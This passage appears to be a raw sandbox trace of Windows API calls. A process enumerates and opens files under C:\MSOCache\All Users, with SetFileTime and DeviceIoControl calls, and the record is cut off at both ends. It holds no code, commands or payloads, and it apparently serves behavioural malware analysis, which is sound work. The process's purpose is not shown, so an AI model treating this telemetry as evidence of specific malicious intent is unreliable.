ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0229.834] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0229.834] GetLastError () returned 0x12 [0229.834] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0229.834] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0229.835] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0229.835] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0229.835] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0229.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0229.835] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0230.089] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0230.089] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0230.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fb690 [0230.089] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fb690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fb690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0230.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb690) returned 1 [0230.089] NtClose (Handle=0x1b4) returned 0x0 [0230.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0230.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0230.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0230.089] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0230.228] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.228] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0230.232] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.232] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.232] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.232] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.233] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.233] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0230.233] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0230.233] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4168 [0230.233] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa728 [0230.233] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.234] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0230.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.234] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.234] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.234] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4188 [0230.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa830 [0230.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.239] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0230.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.242] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f41a8 [0230.242] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fa938 [0230.242] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.242] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0230.242] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.243] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.243] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.243] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.243] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.243] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f41c8 [0230.243] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8faa40 [0230.244] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.244] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0230.244] GetLastError () returned 0x12 [0230.244] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0230.248] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0230.248] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.248] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0230.248] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0230.248] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0230.248] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0230.248] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0230.248] GetLastError () returned 0x12 [0230.248] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9bd0) returned 1 [0230.248] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0230.249] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9cd8) returned 1 [0230.249] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0230.249] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0230.249] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.249] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0230.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0230.250] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0230.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8fb690 [0230.250] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8fb690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8fb690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0230.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fb690) returned 1 [0230.250] NtClose (Handle=0x1ac) returned 0x0 [0230.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0230.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0230.250] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.250] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9cd8 [0230.250] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0230.367] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.367] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0230.367] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0230.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.370] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9bd0 [0230.370] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0230.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f41e8 [0230.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fab48 [0230.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.374] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0230.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.378] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0230.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.381] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0230.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.382] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.382] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0230.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.382] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.382] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0230.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0230.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f4208 [0230.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fac50 [0230.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, 